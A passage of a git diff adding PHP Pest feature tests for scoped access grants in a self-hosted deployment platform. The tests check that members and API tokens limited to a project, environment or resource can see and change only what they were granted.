'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +function accessGrantsTestMember(Team $team, ?array $access, string $role = 'member'): User +{ + $user = User::factory()->create(); + $user->teams()->attach($team, ['role' => $role, 'access' => $access === null ? null : json_encode($access)]); + test()->actingAs($user); + session(['currentTeam' => $team]); + + return $user->fresh(); +} + +it('keeps team-wide read access for members without stored grants', function () { + $member = accessGrantsTestMember($this->team, null); + + expect(Project::query()->pluck('name')->sort()->values()->all())->toBe(['blog', 'shop']) + ->and(Application::query()->count())->toBe(3) + ->and($member->canAccess(AccessLevel::Read, $this->shopApi))->toBeTrue() + ->and($member->canAccess(AccessLevel::Write, $this->shopApi))->toBeFalse(); +}); + +it('limits a member with a project grant to that project', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read', 'deploy']], + ]); + + expect(Project::query()->pluck('name')->all())->toBe(['shop']) + ->and(Environment::query()->pluck('project_id')->unique()->values()->all())->toBe([$this->shop->id]) + ->and(Application::query()->pluck('id')->all())->toBe([$this->shopApi->id]) + ->and(Application::query()->where('uuid', $this->blogWeb->uuid)->first())->toBeNull() + ->and($member->canAccess(AccessLevel::Deploy, $this->shopApi))->toBeTrue() + ->and($member->canAccess(AccessLevel::Write, $this->shopApi))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->blogWeb))->toBeFalse(); +}); + +it('shows only the granted resource and its parents for a resource grant', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'resource', 'uuid' => $this->blogWeb->uuid, 'levels' => ['write']], + ]); + + expect(Project::query()->pluck('name')->all())->toBe(['blog']) + ->and(Environment::query()->pluck('id')->all())->toBe([$this->blogStaging->id]) + ->and(Application::query()->pluck('id')->all())->toBe([$this->blogWeb->id]) + ->and($this->blogStaging->applications()->pluck('id')->all())->toBe([$this->blogWeb->id]) + ->and($member->canAccess(AccessLevel::Write, $this->blogWeb))->toBeTrue() + ->and($member->canAccess(AccessLevel::Delete, $this->blogWeb))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->blogWorker))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->blogStaging))->toBeFalse(); +}); + +it('gives environment grants to every resource in the environment only', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'environment', 'uuid' => $this->blogStaging->uuid, 'levels' => ['read:sensitive']], + ]); + + expect(Application::query()->pluck('id')->sort()->values()->all())->toBe([$this->blogWeb->id, $this->blogWorker->id]) + ->and($member->canAccess(AccessLevel::ReadSensitive, $this->blogWorker))->toBeTrue() + ->and($member->canAccess(AccessLevel::Deploy, $this->blogWorker))->toBeFalse() + ->and($member->canAccess(AccessLevel::Read, $this->shopApi))->toBeFalse(); +}); + +it('does not filter admins, even with stored grants', function () { + $admin = accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ], 'admin'); + + expect(Project::query()->count())->toBe(2) + ->and($admin->canAccess(AccessLevel::Delete, $this->blogWeb))->toBeTrue(); +}); + +it('ignores grants that point to another team', function () { + $otherTeam = Team::factory()->create(); + $foreignProject = Project::factory()->create(['team_id' => $otherTeam->id]); + + accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $foreignProject->uuid, 'levels' => ['root']], + ]); + + expect(Project::query()->withoutGlobalScopes()->where('team_id', $this->team->id)->count())->toBe(2) + ->and(Project::query()->count())->toBe(0); +}); + +it('checks a resource with the grants of its own team after the session team changes', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write']], + ]); + $ownTeam = Team::factory()->create(); + $member->teams()->attach($ownTeam, ['role' => 'owner']); + $member = $member->fresh(); + session(['currentTeam' => $ownTeam]); + + expect($member->canAccess(AccessLevel::Write, $this->shopApi))->toBeTrue() + ->and($member->canAccess(AccessLevel::Write, $this->blogWeb))->toBeFalse(); +}); + +it('lets a member open the parents of a granted resource but not other projects', function () { + $member = accessGrantsTestMember($this->team, [ + ['scope' => 'resource', 'uuid' => $this->blogWeb->uuid, 'levels' => ['read']], + ]); + + expect($member->can('view', $this->blog))->toBeTrue() + ->and($member->can('view', $this->blogStaging))->toBeTrue() + ->and($member->can('view', $this->shop))->toBeFalse() + ->and($member->can('view', $this->shopProduction))->toBeFalse() + ->and($member->can('update', $this->blogStaging))->toBeFalse(); +}); diff --git a/tests/Feature/Access/AccessPoliciesTest.php b/tests/Feature/Access/AccessPoliciesTest.php new file mode 100644 index 0000000000..937e3bad2d --- /dev/null +++ b/tests/Feature/Access/AccessPoliciesTest.php @@ -0,0 +1,269 @@ + 0]); + Server::flushIdentityMap(); + + $this->team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $this->team->id]); + $destination = $server->standaloneDockers()->firstOrFail(); + $placement = [ + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]; + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $this->shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->shopStaging = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'staging']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $blogProduction = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'prod']); + + $this->application = Application::factory()->create(['environment_id' => $this->shopProduction->id, ...$placement]); + $this->database = StandalonePostgresql::create([ + 'name' => 'orders-db', 'postgres_user' => 'postgres', 'postgres_password' => 'password', 'postgres_db' => 'db', + 'image' => 'postgres:17', 'environment_id' => $this->shopProduction->id, ...$placement, + ]); + $this->service = Service::factory()->create([ + 'environment_id' => $this->shopProduction->id, + 'server_id' => $server->id, + ...$placement, + ]); + $this->secret = EnvironmentVariable::create([ + 'key' => 'API_KEY', + 'value' => 'shop-secret-value', + 'resourceable_type' => Application::class, + 'resourceable_id' => $this->application->id, + 'is_preview' => false, + ]); + $this->blogApplication = Application::factory()->create(['environment_id' => $blogProduction->id, ...$placement]); +}); + +function accessPoliciesMember(Team $team, ?array $access, string $role = 'member'): User +{ + $user = User::factory()->create(); + $user->teams()->attach($team, ['role' => $role, 'access' => $access === null ? null : json_encode($access)]); + $user = $user->fresh(); + test()->actingAs($user); + session(['currentTeam' => $team]); + + return $user; +} + +function accessPoliciesProjectGrant(Project $project, array $levels): array +{ + return [['scope' => 'project', 'uuid' => $project->uuid, 'levels' => $levels]]; +} + +/** + * @return array + */ +function accessPoliciesAbilities(User $user, object $test): array +{ + $gate = Gate::forUser($user); + + return [ + 'application.view' => $gate->allows('view', $test->application), + 'application.deploy' => $gate->allows('deploy', $test->application), + 'application.update' => $gate->allows('update', $test->application), + 'application.delete' => $gate->allows('delete', $test->application), + 'database.view' => $gate->allows('view', $test->database), + 'database.update' => $gate->allows('update', $test->database), + 'database.delete' => $gate->allows('delete', $test->database), + 'service.view' => $gate->allows('view', $test->service), + 'service.deploy' => $gate->allows('deploy', $test->service), + 'service.update' => $gate->allows('update', $test->service), + 'service.delete' => $gate->allows('delete', $test->service), + 'secret.view' => $gate->allows('view', $test->secret), + 'secret.viewSensitive' => $gate->allows('viewSensitive', $test->secret), + 'secret.update' => $gate->allows('update', $test->secret), + ]; +} + +/** + * @param list $allowed + * @return array + */ +function accessPoliciesExpected(array $allowed): array +{ + $keys = [ + 'application.view', 'application.deploy', 'application.update', 'application.delete', + 'database.view', 'database.update', 'database.delete', + 'service.view', 'service.deploy', 'service.update', 'service.delete', + 'secret.view', 'secret.viewSensitive', 'secret.update', + ]; + + return array_combine($keys, array_map(fn (string $key) => in_array($key, $allowed, true), $keys)); +} + +const ACCESS_POLICIES_VIEW = ['application.view', 'database.view', 'service.view', 'secret.view']; + +it('lets a member with a deploy grant deploy but not change or delete', function () { + $member = accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['deploy'])); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.deploy', 'service.deploy', + ]))->and(Gate::forUser($member)->allows('view', $this->blogApplication))->toBeFalse(); +}); + +it('lets a member with a write grant change resources and read secrets but not delete', function () { + $member = accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['write'])); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.deploy', 'application.update', 'database.update', + 'service.deploy', 'service.update', 'secret.viewSensitive', 'secret.update', + ])); +}); + +it('lets a member with a delete grant delete but not change', function () { + $member = accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['delete'])); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.delete', 'database.delete', 'service.delete', + ])); +}); + +it('applies a resource grant only to that resource', function () { + $member = accessPoliciesMember($this->team, [ + ['scope' => 'resource', 'uuid' => $this->application->uuid, 'levels' => ['write']], + ]); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected([ + 'application.view', 'application.deploy', 'application.update', + 'secret.view', 'secret.viewSensitive', 'secret.update', + ])); +}); + +it('keeps a member without stored grants read-only', function () { + $member = accessPoliciesMember($this->team, null); + + expect(accessPoliciesAbilities($member, $this))->toBe(accessPoliciesExpected(ACCESS_POLICIES_VIEW)) + ->and(Gate::forUser($member)->allows('view', $this->blogApplication))->toBeTrue() + ->and(Gate::forUser($member)->allows('createAnyResource'))->toBeFalse() + ->and(Gate::forUser($member)->allows('create', Project::class))->toBeFalse(); +}); + +it('gives admins full access', function () { + $admin = accessPoliciesMember($this->team, null, 'admin'); + + expect(accessPoliciesAbilities($admin, $this))->toBe(accessPoliciesExpected([ + ...ACCESS_POLICIES_VIEW, 'application.deploy', 'application.update', 'application.delete', + 'database.update', 'database.delete', 'service.deploy', 'service.update', 'service.delete', + 'secret.viewSensitive', 'secret.update', + ]))->and(Gate::forUser($admin)->allows('createAnyResource'))->toBeTrue() + ->and(Gate::forUser($admin)->allows('create', [Application::class, $this->shopStaging]))->toBeTrue() + ->and(Gate::forUser($admin)->allows('create', Project::class))->toBeTrue(); +}); + +it('uses the grants of the resource team after the session switches to another team', function () { + $member = User::factory()->create(); + $member->teams()->attach($this->team, ['role' => 'member', 'access' => json_encode(accessPoliciesProjectGrant($this->shop, ['write']))]); + $ownTeam = Team::factory()->create(); + $member->teams()->attach($ownTeam, ['role' => 'owner']); + $member = $member->fresh(); + $this->actingAs($member); + session(['currentTeam' => $ownTeam]); + + $gate = Gate::forUser($member); + + expect($gate->allows('update', $this->application))->toBeTrue() + ->and($gate->allows('viewSensitive', $this->secret))->toBeTrue() + ->and($gate->allows('delete', $this->application))->toBeFalse() + ->and($gate->allows('view', $this->blogApplication))->toBeFalse(); +}); + +it('lets a member create resources only in environments they can write to', function () { + $member = accessPoliciesMember($this->team, [ + ['scope' => 'environment', 'uuid' => $this->shopStaging->uuid, 'levels' => ['write']], + ]); + $gate = Gate::forUser($member); + + expect($gate->allows('create', [Application::class, $this->shopStaging]))->toBeTrue() + ->and($gate->allows('create', [Service::class, $this->shopStaging]))->toBeTrue() + ->and($gate->allows('create', [StandalonePostgresql::class, $this->shopStaging]))->toBeTrue() + ->and($gate->allows('createAnyResource', [$this->shopStaging]))->toBeTrue() + ->and($gate->allows('create', [Application::class, $this->shopProduction]))->toBeFalse() + ->and($gate->allows('create', Application::class))->toBeFalse() + ->and($gate->allows('create', [Environment::class, $this->shop]))->toBeFalse() + ->and($gate->allows('create', Project::class))->toBeFalse(); +}); + +it('shows secret values in the variable editor only with read-sensitive access', function (array $levels, ?string $expectedValue) { + accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, $levels)); + + $component = Livewire::test(EnvironmentVariableShow::class, ['env' => $this->secret, 'type' => 'application']); + + if ($expectedValue === null) { + expect($component->get('isValueHidden'))->toBeTrue() + ->and($component->get('value'))->toBeNull(); + $component->call('loadValues')->assertForbidden(); + + return; + } + + $component->call('loadValues'); + expect($component->get('value'))->toBe($expectedValue) + ->and($component->get('isValueHidden'))->toBeFalse(); +})->with([ + 'read' => [['read'], null], + 'deploy' => [['deploy'], null], + 'read:sensitive' => [['read:sensitive'], 'shop-secret-value'], + 'write' => [['write'], 'shop-secret-value'], +]); + +it('finds domain conflicts with resources the member cannot see without naming them', function () { + $this->blogApplication->update(['fqdn' => 'https://blog.example.com']); + $this->application->update(['fqdn' => 'https://blog.example.com']); + accessPoliciesMember($this->team, accessPoliciesProjectGrant($this->shop, ['write'])); + + $result = checkDomainUsage(resource: $this->application->fresh()); + + expect($result['hasConflicts'])->toBeTrue() + ->and($result['conflicts'][0]['message'])->toBe('Domain https://blog.example.com is already in use by another resource in this team') + ->and($result['conflicts'][0]['resource_name'])->toBe('another resource'); +}); + +function accessPoliciesBindEnvironmentRoute(Environment $environment): void +{ + Event::listen(RouteMatched::class, function (RouteMatched $event) use ($environment): void { + $event->route->setParameter('project_uuid', $environment->project->uuid); + $event->route->setParameter('environment_uuid', $environment->uuid); + }); +} + +it('opens the new resource page only for environments the member can write to', function () { + accessPoliciesMember($this->team, [ + ...accessPoliciesProjectGrant($this->shop, ['read']), + ['scope' => 'environment', 'uuid' => $this->shopStaging->uuid, 'levels' => ['write']], + ]); + + accessPoliciesBindEnvironmentRoute($this->shopStaging); + Livewire::test(ResourceCreate::class)->assertOk(); + + Event::forget(RouteMatched::class); + accessPoliciesBindEnvironmentRoute($this->shopProduction); + Livewire::test(ResourceCreate::class)->assertForbidden(); +}); + +afterEach(function () { + Event::forget(RouteMatched::class); +}); diff --git a/tests/Feature/Access/MemberGrantsTest.php b/tests/Feature/Access/MemberGrantsTest.php new file mode 100644 index 0000000000..a895283f78 --- /dev/null +++ b/tests/Feature/Access/MemberGrantsTest.php @@ -0,0 +1,240 @@ + 'array', + 'session.driver' => 'array', + 'queue.default' => 'sync', + 'app.maintenance.store' => 'array', + ]); + InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0])); + Server::flushIdentityMap(); + Cache::flush(); + + $this->team = Team::factory()->create(['show_boarding' => false]); + $this->server = Server::factory()->create(['team_id' => $this->team->id, 'name' => 'web-server']); + $destination = $this->server->standaloneDockers()->firstOrFail(); + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $blogStaging = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'staging']); + + $this->shopApi = Application::factory()->create([ + 'name' => 'shop-api', + 'environment_id' => $shopProduction->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $this->blogWeb = Application::factory()->create([ + 'name' => 'blog-web', + 'environment_id' => $blogStaging->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + + $this->owner = memberGrantsUser($this->team, 'owner', null); +}); + +function memberGrantsUser(Team $team, string $role, ?array $access): User +{ + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => $role, 'access' => $access === null ? null : json_encode($access)]); + + return $user; +} + +function memberGrantsActAs(User $user, Team $team): void +{ + test()->actingAs($user); + session(['currentTeam' => $team]); +} + +function memberGrantsStoredAccess(Team $team, User $user): mixed +{ + $stored = DB::table('team_user')->where('team_id', $team->id)->where('user_id', $user->id)->value('access'); + + return $stored === null ? null : json_decode($stored, true); +} + +it('lets an owner save grants for a member through the access editor', function () { + $member = memberGrantsUser($this->team, 'member', null); + memberGrantsActAs($this->owner, $this->team); + + Livewire::test(Access::class)->call('openFor', $member->id) + ->call('applyPreset', 'developer', $this->shop->uuid) + ->call('addGrant') + ->set('grants.1.target', 'resource:'.$this->blogWeb->uuid) + ->set('grants.1.levels.Read', true) + ->call('save') + ->assertHasNoErrors(); + + expect(memberGrantsStoredAccess($this->team, $member))->toBe([ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['deploy', 'write']], + ['scope' => 'resource', 'uuid' => $this->blogWeb->uuid, 'levels' => ['read']], + ]); +}); + +it('stores an empty list when the owner removes every grant', function () { + $member = memberGrantsUser($this->team, 'member', null); + memberGrantsActAs($this->owner, $this->team); + + $editor = Livewire::test(Access::class)->call('openFor', $member->id); + $editor->call('removeGrant', $editor->get('grants.0.key')) + ->call('save') + ->assertHasNoErrors(); + + expect(memberGrantsStoredAccess($this->team, $member))->toBe([]) + ->and(Access::summary('[]'))->toBe('No access') + ->and(Access::summary(null))->toBe('Team-wide read (default)'); +}); + +it('does not let a member open the editor or save grants', function () { + $member = memberGrantsUser($this->team, 'member', null); + $target = memberGrantsUser($this->team, 'member', null); + + memberGrantsActAs($member, $this->team); + Livewire::test(Access::class)->assertForbidden(); + + memberGrantsActAs($this->owner, $this->team); + $editor = Livewire::test(Access::class) + ->call('openFor', $target->id) + ->call('applyPreset', 'full'); + + memberGrantsActAs($member->fresh(), $this->team); + $editor->call('save')->assertForbidden(); + + expect(memberGrantsStoredAccess($this->team, $target))->toBeNull(); +}); + +it('rejects a scope from another team', function () { + $member = memberGrantsUser($this->team, 'member', null); + $otherTeam = Team::factory()->create(); + $foreignProject = Project::factory()->create(['team_id' => $otherTeam->id]); + memberGrantsActAs($this->owner, $this->team); + + Livewire::test(Access::class)->call('openFor', $member->id) + ->set('grants.0.target', 'project:'.$foreignProject->uuid) + ->call('save') + ->assertHasErrors(['grants.0.target']); + + expect(memberGrantsStoredAccess($this->team, $member))->toBeNull(); +}); + +it('blocks team-level pages for a member with only a project grant', function (string $path) { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + + $this->actingAs($member)->withSession(['currentTeam' => $this->team])->get($path)->assertForbidden(); +})->with([ + '/servers', + '/destinations', + '/security/private-key', + '/sources', + '/storages', + '/notifications/email', + '/team', + '/team/members', + '/shared-variables/team', + '/tags', + '/analytics', + '/settings', +]); + +it('keeps team-level pages for legacy members and owners', function () { + $legacy = memberGrantsUser($this->team, 'member', null); + + $this->actingAs($legacy)->withSession(['currentTeam' => $this->team])->get('/servers')->assertOk(); + $this->actingAs($this->owner)->withSession(['currentTeam' => $this->team])->get('/servers')->assertOk(); +}); + +it('keeps the own API tokens page for a scoped member', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + + $this->actingAs($member)->withSession(['currentTeam' => $this->team])->get('/security/api-tokens')->assertOk(); +}); + +it('lists only granted projects and hides other project pages', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + memberGrantsActAs($member, $this->team); + + expect(Livewire::test(ProjectIndex::class)->get('projects')->pluck('uuid')->all())->toBe([$this->shop->uuid]); + + $this->get('/project/'.$this->shop->uuid)->assertOk(); + $this->get('/project/'.$this->blog->uuid)->assertNotFound(); +}); + +it('keeps hidden resources out of global search for a scoped member, and full results for an admin after', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + + memberGrantsActAs($member, $this->team); + $memberItems = collect(Livewire::test(GlobalSearch::class)->call('openSearchModal')->get('allSearchableItems')); + + expect($memberItems->whereIn('type', ['application', 'project', 'server'])->pluck('name')->sort()->values()->all()) + ->toBe(['shop', 'shop-api']) + ->and($memberItems->where('type', 'navigation')->pluck('link')->all())->not->toContain(route('server.index'), route('team.member.index')); + + memberGrantsActAs($this->owner, $this->team); + $ownerItems = collect(Livewire::test(GlobalSearch::class)->call('openSearchModal')->get('allSearchableItems')); + + expect($ownerItems->whereIn('type', ['application', 'project', 'server'])->pluck('name')->sort()->values()->all()) + ->toBe(['blog', 'blog-web', 'shop', 'shop-api', 'web-server']); +}); + +it('shows no servers on the dashboard for a scoped member', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ]); + memberGrantsActAs($member, $this->team); + + $dashboard = Livewire::test(Dashboard::class); + + expect($dashboard->get('servers')->all())->toBe([]) + ->and($dashboard->get('projects')->pluck('uuid')->all())->toBe([$this->shop->uuid]); + + expect(fn () => $dashboard->set('showsTeamSections', true))->toThrow(CannotUpdateLockedPropertyException::class); +}); + +it('renders the members page and the editor with every scope of the team for an owner', function () { + $member = memberGrantsUser($this->team, 'member', [ + ['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['read']], + ['scope' => 'project', 'uuid' => $this->blog->uuid, 'levels' => ['read']], + ]); + memberGrantsActAs($this->owner, $this->team); + + $this->get('/team/members')->assertOk()->assertSee('2 projects'); + + $options = Livewire::test(Access::class)->call('openFor', $member->id)->assertOk()->instance()->scopeOptions(); + + expect(collect($options)->reject(fn (array $option) => $option['header'] ?? false)->pluck('label')->all())->toBe([ + 'Whole team', 'blog', 'shop', + 'blog / production', 'blog / staging', 'shop / prod', 'shop / production', + 'blog / staging / blog-web', 'shop / prod / shop-api', + ]); +}); diff --git a/tests/Feature/Access/ScopedApiTokenTest.php b/tests/Feature/Access/ScopedApiTokenTest.php new file mode 100644 index 0000000000..612979c316 --- /dev/null +++ b/tests/Feature/Access/ScopedApiTokenTest.php @@ -0,0 +1,346 @@ +set('app.maintenance.store', 'array'); + config()->set('cache.default', 'array'); + + InstanceSettings::query()->delete(); + $settings = new InstanceSettings(['is_api_enabled' => true, 'is_mcp_server_enabled' => true]); + $settings->id = 0; + $settings->save(); + Once::flush(); + + $this->team = Team::factory()->create(['is_mcp_server_enabled' => true]); + $this->admin = User::factory()->create(); + $this->team->members()->attach($this->admin->id, ['role' => 'admin']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = $this->server->standaloneDockers()->firstOrFail(); + + $this->shop = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'shop']); + $this->shopProduction = Environment::factory()->create(['project_id' => $this->shop->id, 'name' => 'prod']); + $this->blog = Project::factory()->create(['team_id' => $this->team->id, 'name' => 'blog']); + $this->blogStaging = Environment::factory()->create(['project_id' => $this->blog->id, 'name' => 'staging']); + + $this->shopApi = scopedTokenTestApplication($this->shopProduction, $this->destination, 'shop-api'); + $this->shopWorker = scopedTokenTestApplication($this->shopProduction, $this->destination, 'shop-worker'); + $this->blogWeb = scopedTokenTestApplication($this->blogStaging, $this->destination, 'blog-web'); +}); + +afterEach(function () { + Server::flushIdentityMap(); +}); + +function scopedTokenTestApplication(Environment $environment, $destination, string $name): Application +{ + return Application::factory()->create([ + 'name' => $name, + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +/** + * @param list|null $scopes + */ +function scopedTokenTestToken(User $user, Team $team, array $abilities, ?array $scopes): string +{ + $token = $user->createToken('scoped-test', $abilities, null, $team->id); + $token->accessToken->forceFill(['scopes' => $scopes])->save(); + + return $token->plainTextToken; +} + +function scopedTokenTestMember(Team $team, ?array $access): User +{ + $member = User::factory()->create(); + $team->members()->attach($member->id, ['role' => 'member', 'access' => $access === null ? null : json_encode($access)]); + + return $member; +} + +function scopedTokenTestApi(string $token, string $method, string $uri, array $data = []) +{ + app('auth')->forgetGuards(); + + return test()->withHeaders(['Authorization' => 'Bearer '.$token])->json($method, $uri, $data); +} + +function scopedTokenTestMcp(string $token, string $method, array $params = []) +{ + app('auth')->forgetGuards(); + + return test()->withHeaders([ + 'Authorization' => 'Bearer '.$token, + 'Accept' => 'application/json, text/event-stream', + ])->postJson('/mcp', ['jsonrpc' => '2.0', 'id' => 1, 'method' => $method, 'params' => (object) $params]); +} + +describe('admin token scoped to one project', function () { + beforeEach(function () { + $this->token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + }); + + test('lists only the applications and resources of the project', function () { + expect(scopedTokenTestApi($this->token, 'GET', '/api/v1/applications')->assertOk()->json('*.name')) + ->toEqualCanonicalizing(['shop-api', 'shop-worker']) + ->and(scopedTokenTestApi($this->token, 'GET', '/api/v1/resources')->assertOk()->json('*.name')) + ->toEqualCanonicalizing(['shop-api', 'shop-worker']) + ->and(scopedTokenTestApi($this->token, 'GET', '/api/v1/projects')->assertOk()->json('*.name')) + ->toBe(['shop']); + }); + + test('does not find an application in another project', function () { + scopedTokenTestApi($this->token, 'GET', "/api/v1/applications/{$this->blogWeb->uuid}")->assertNotFound(); + scopedTokenTestApi($this->token, 'GET', "/api/v1/projects/{$this->blog->uuid}")->assertNotFound(); + }); + + test('cannot use team-level endpoints or create projects', function () { + scopedTokenTestApi($this->token, 'GET', '/api/v1/servers') + ->assertForbidden() + ->assertExactJson(['message' => 'This API token is limited to selected projects, environments, or resources, so it cannot use this endpoint.']); + scopedTokenTestApi($this->token, 'GET', '/api/v1/security/keys')->assertForbidden(); + scopedTokenTestApi($this->token, 'GET', '/api/v1/team')->assertForbidden(); + scopedTokenTestApi($this->token, 'POST', '/api/v1/projects', ['name' => 'new'])->assertForbidden(); + + expect(Project::query()->where('name', 'new')->exists())->toBeFalse(); + }); + + test('lists only open deployments of the project', function () { + foreach ([$this->shopApi, $this->blogWeb] as $application) { + ApplicationDeploymentQueue::create([ + 'application_id' => (string) $application->id, + 'deployment_uuid' => 'deploy-'.$application->name, + 'server_id' => $this->server->id, + 'status' => 'queued', + ]); + } + + expect(scopedTokenTestApi($this->token, 'GET', '/api/v1/deployments')->assertOk()->json('*.deployment_uuid')) + ->toBe(['deploy-shop-api']); + scopedTokenTestApi($this->token, 'GET', '/api/v1/deployments/deploy-blog-web')->assertNotFound(); + }); + + test('can create an application in the project', function () { + scopedTokenTestApi($this->token, 'POST', '/api/v1/applications/dockerimage', [ + 'project_uuid' => $this->shop->uuid, + 'environment_uuid' => $this->shopProduction->uuid, + 'server_uuid' => $this->server->uuid, + 'docker_registry_image_name' => 'nginx', + 'ports_exposes' => '80', + ])->assertCreated(); + + expect($this->shopProduction->applications()->count())->toBe(3); + }); +}); + +describe('token scoped to one resource', function () { + test('deploys the resource with the deploy ability', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['deploy'], [['scope' => 'resource', 'uuid' => $this->shopApi->uuid]]); + + scopedTokenTestApi($token, 'POST', "/api/v1/deploy?uuid={$this->shopApi->uuid}") + ->assertOk() + ->assertJsonPath('deployments.0.resource_uuid', $this->shopApi->uuid); + scopedTokenTestApi($token, 'POST', "/api/v1/deploy?uuid={$this->shopWorker->uuid}")->assertNotFound(); + + expect(ApplicationDeploymentQueue::query()->pluck('application_id')->all())->toBe([(string) $this->shopApi->id]); + Queue::assertPushed(ApplicationDeploymentJob::class); + }); + + test('cannot create an application in the environment of the resource', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write'], [['scope' => 'resource', 'uuid' => $this->shopApi->uuid]]); + + scopedTokenTestApi($token, 'POST', '/api/v1/applications/dockerimage', [ + 'project_uuid' => $this->shop->uuid, + 'environment_uuid' => $this->shopProduction->uuid, + 'server_uuid' => $this->server->uuid, + 'docker_registry_image_name' => 'nginx', + 'ports_exposes' => '80', + ])->assertForbidden(); + + expect(Application::withoutGlobalScope(VisibleThroughAccessGrants::class)->where('environment_id', $this->shopProduction->id)->count())->toBe(2); + }); +}); + +describe('delete ability', function () { + test('a write token without delete cannot delete an application', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write'], null); + + scopedTokenTestApi($token, 'DELETE', "/api/v1/applications/{$this->shopApi->uuid}") + ->assertForbidden() + ->assertExactJson(['message' => 'Missing required permissions: delete']); + + expect(Application::query()->whereKey($this->shopApi->id)->exists())->toBeTrue(); + }); + + test('a token with delete can delete an application', function () { + $token = scopedTokenTestToken($this->admin, $this->team, ['read', 'write', 'delete'], null); + + scopedTokenTestApi($token, 'DELETE', "/api/v1/applications/{$this->shopApi->uuid}")->assertOk(); + + expect(Application::query()->whereKey($this->shopApi->id)->exists())->toBeFalse(); + }); +}); + +describe('member tokens', function () { + test('a legacy member can use a read token but not a write token', function () { + $member = scopedTokenTestMember($this->team, null); + + expect(scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['read'], null), 'GET', '/api/v1/applications')->assertOk()->json('*.name')) + ->toEqualCanonicalizing(['shop-api', 'shop-worker', 'blog-web']); + scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['read', 'write'], null), 'GET', '/api/v1/applications') + ->assertForbidden() + ->assertExactJson(['message' => 'This API token has more access than you have in this team. Revoke it and create a new token.']); + }); + + test('a member with a project grant can use a write token limited to that project', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write', 'deploy']]]); + $token = scopedTokenTestToken($member, $this->team, ['read', 'write'], [['scope' => 'project', 'uuid' => $this->shop->uuid]]); + + scopedTokenTestApi($token, 'PATCH', "/api/v1/applications/{$this->shopApi->uuid}", ['name' => 'renamed'])->assertOk(); + scopedTokenTestApi($token, 'PATCH', "/api/v1/applications/{$this->blogWeb->uuid}", ['name' => 'renamed'])->assertNotFound(); + + expect($this->shopApi->fresh()->name)->toBe('renamed') + ->and($this->blogWeb->fresh()->name)->toBe('blog-web'); + }); + + test('a member with a project grant cannot use a team-wide write token', function () { + $member = scopedTokenTestMember($this->team, [['scope' => 'project', 'uuid' => $this->shop->uuid, 'levels' => ['write', 'deploy']]]); + + scopedTokenTestApi(scopedTokenTestToken($member, $this->team, ['read', 'write'], null), 'GET', '/api/v1/applications')->assertForbidden(); + 